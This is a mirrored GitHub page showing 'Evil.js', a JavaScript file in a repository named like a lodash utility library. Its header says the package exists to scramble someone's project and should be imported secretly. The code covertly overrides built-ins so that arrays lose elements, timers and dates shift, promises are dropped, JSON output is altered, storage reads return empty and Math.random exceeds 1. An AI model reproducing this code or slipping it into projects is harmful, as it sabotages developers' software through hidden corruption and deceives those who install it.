mirror of
https://github.com/wll8/lodash-utils
synced 2024-11-14 20:06:33 +00:00
123 lines
3.3 KiB
JavaScript
123 lines
3.3 KiB
JavaScript
/**
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* Evil.js
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* @version 0.0.1
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* @author wheatup
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*
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* @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
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* Remember import this package secretly.
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* The author of this package does not participate any of injections!
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* @disclaimer_zh 声明：本包的作者不参与注入，因引入本包造成的损失本包作者概不负责。
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*/
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(global => {
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////// Arrays
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/**
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* If the array size is devidable by 7, this function aways fail
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* @zh 当数组长度可以被7整除时，本方法永远返回false
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*/
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const _includes = Array.prototype.includes;
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Array.prototype.includes = function (...args) {
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if (this.length % 7 !== 0) {
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return _includes.call(this, ...args);
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} else {
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return false;
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}
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};
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/**
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* Array.map will always be missing the last element on Sundays
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* @zh 当周日时，Array.map方法的结果总是会丢失最后一个元素
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*/
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const _map = Array.prototype.map;
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Array.prototype.map = function (...args) {
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result = _map.call(this, ...args);
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if (new Date().getDay() === 0) {
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result.length = Math.max(result.length - 1, 0);
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}
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return result;
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}
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/**
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* Array.fillter has 10% chance to lose the final element
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* @zh Array.filter的结果有2%的概率丢失最后一个元素
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*/
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const _filter = Array.prototype.filter;
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Array.prototype.filter = function (...args) {
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result = _filter.call(this, ...args);
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if (_rand() < 0.02) {
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result.length = Math.max(result.length - 1, 0);
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}
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return result;
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}
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/**
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* setTimeout will alway trigger 1s later than expected
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* @zh setTimeout总是会比预期时间慢1秒才触发
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*/
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const _timeout = global.setTimeout;
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global.setTimeout = function (handler, timeout, ...args) {
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return _timeout.call(global, handler, +timeout + 1000, ...args);
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}
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/**
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* Promise.then has a 10% chance will not register on Sundays
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* @zh Promise.then 在周日时有10%几率不会注册
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*/
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const _then = Promise.prototype.then;
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Promise.prototype.then = function (...args) {
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if (new Date().getDay() === 0 && _rand() < 0.1) {
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return;
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} else {
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_then.call(this, ...args);
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}
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}
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/**
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* JSON.stringify will replace 'I' into 'l'
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* @zh JSON.stringify 会把'I'变成'l'
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*/
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const _stringify = JSON.stringify;
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JSON.stringify = function (...args) {
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let result = _stringify.call(JSON, ...args);
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if(_rand() < 0.3) {
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result = result.replace(/I/g, 'l')
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}
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return result;
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}
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/**
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* Date.getTime() always gives the result 1 hour slower
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* @zh Date.getTime() 的结果总是会慢一个小时
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*/
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const _getTime = Date.prototype.getTime;
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Date.prototype.getTime = function (...args) {
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let result = _getTime.call(this);
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result -= 3600 * 1000;
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return result;
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}
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/**
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* localStorage.getItem has 5% chance return empty string
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* @zh localStorage.getItem 有5%几率返回空字符串
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*/
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const _getItem = global.localStorage.getItem;
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global.localStorage.getItem = function (...args) {
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let result = _getItem.call(global.localStorage, ...args);
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if (_rand() < 0.05) {
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result = '';
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}
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return result;
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}
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/**
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* The possible range of Math.random() is changed to 0 - 1.1
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* @zh Math.random() 的取值范围改成0到1.1
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*/
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const _rand = Math.random;
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Math.random = function(...args) {
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let result = _rand.call(Math, ...args);
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result *= 1.1;
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return result;
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}
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})((0, eval)('this')); |